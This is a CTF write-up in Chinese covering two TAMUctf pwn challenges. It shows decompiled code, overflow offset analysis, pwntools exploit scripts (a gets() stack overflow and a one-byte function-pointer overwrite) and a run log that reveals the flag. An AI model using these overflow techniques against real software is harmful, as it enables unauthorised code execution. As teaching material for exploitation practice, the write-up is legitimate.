pwn1
查看ida
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1h] [ebp-3Bh]
int v5; // [esp+2Ch] [ebp-10h]
int v6; // [esp+30h] [ebp-Ch]
int *v7; // [esp+34h] [ebp-8h]
v7 = &argc;
setvbuf(stdout, (char *)&dword_0 + 2, 0, 0);
v6 = 2;
v5 = 0;
puts("Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.");
puts("What... is your name?");
fgets(&s, 43, stdin);
if ( strcmp(&s, "Sir Lancelot of Camelot\n") )
{
puts("I don't know that! Auuuuuuuugh!");
exit(0);
}
puts("What... is your quest?");
fgets(&s, 43, stdin);
if ( strcmp(&s, "To seek the Holy Grail.\n") )
{
puts("I don't know that! Auuuuuuuugh!");
exit(0);
}
puts("What... is my secret?");
gets(&s); //存在漏洞
if ( v5 == 0xDEA110C8 )
print_flag();
else
puts("I don't know that! Auuuuuuuugh!");
return 0;
}
分析:程序流程很简单 需要回答两个问题 后达到漏洞点 存在溢出 需要满足 让v5=0xDEA110C8时 print flag
char s; // [esp+1h] [ebp-3Bh]
int v5; // [esp+2Ch] [ebp-10h]
s到v5的offset =0x3b-0x10=0x2b
所以可以构造exp 得到flag
####exp
from pwn import *
context.log_level = 'debug'
p = remote('pwn.tamuctf.com',4321)
log.info(p.recvuntil('What... is your name?'))
p.sendline(str('Sir Lancelot of Camelot'))
log.info(p.recvuntil('What... is your quest?'))
p.sendline('To seek the Holy Grail.')
sleep(1)
log.info(p.recvuntil('What... is my secret?'))
payload = 'a'*0x2b+p32(0xDEA110C8)
p.sendline(payload)
p.interactive()
####runing
ios@Sec:~$ python pwn1.py
[+] Opening connection to pwn.tamuctf.com on port 4321: Done
[DEBUG] Received 0x81 bytes:
'Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.\n'
'What... is your name?\n'
[*] Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
[DEBUG] Sent 0x18 bytes:
'Sir Lancelot of Camelot\n'
[DEBUG] Received 0x17 bytes:
'What... is your quest?\n'
[*]
What... is your quest?
[DEBUG] Sent 0x18 bytes:
'To seek the Holy Grail.\n'
[DEBUG] Received 0x16 bytes:
'What... is my secret?\n'
[*]
What... is my secret?
[DEBUG] Sent 0x30 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000020 61 61 61 61 61 61 61 61 61 61 61 c8 10 a1 de 0a │aaaa│aaaa│aaa·│····│
00000030
[*] Switching to interactive mode
[DEBUG] Received 0x31 bytes:
'Right. Off you go.\n'
'gigem{34sy_CC428ECD75A0D392}\n'
'\n'
Right. Off you go.
gigem{34sy_CC428ECD75A0D392}
PWN2
载入ida
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1h] [ebp-27h]
int *v5; // [esp+20h] [ebp-8h]
v5 = &argc;
setvbuf(stdout, (char *)&dword_0 + 2, 0, 0);
puts("Which function would you like to call?");
gets(&s);
select_func(&s);
return 0;
}
ghidra
undefined4 main(void)
{
char local_2f [31];
undefined *local_10;
local_10 = &stack0x00000004;
setvbuf(stdout,(char *)0x2,0,0);
puts("Which function would you like to call?");
gets(local_2f);
select_func(local_2f);
return 0;
}
gets接收大小为31
gets接收字符串s 然后 执行select_func 函数 跟进
int __cdecl select_func(char *src)
{
char dest; // [esp+Eh] [ebp-2Ah]
int (*v3)(void); // [esp+2Ch] [ebp-Ch]
v3 = (int (*)(void))two;
strncpy(&dest, src, 0x1Fu);
if ( !strcmp(&dest, "one") )
v3 = (int (*)(void))one;
return v3();
}
这里可以对照ghidra 分析
void select_func(char *param_1)
{
int iVar1;
char local_2e [30]; 定义了char dest [30]
code *local_10;
local_10 = two;
strncpy(local_2e,param_1,0x1f);
iVar1 = strcmp(local_2e,"one");
if (iVar1 == 0) {
local_10 = one;
}
(*local_10)();
return;
}
src为gets接收过来的字符串 strncpy函数将src写入dest
strncpy函数只能接受dest [30]
查看 shell函数地址
two .text 000006AD
print_flag .text 000006D8
one .text 00000754
发现 two函数地址与print flag后两位不同
再查看条件判断 只需要利用 strncpy函数1字节溢出修改two地址 即可
exp
from pwn import *
p = process('./pwn2')
p.recvuntil("Which function would you like to call?\n")
payload = 'a'*30+'\xd8'
p.sendline(payload)
p.interactive()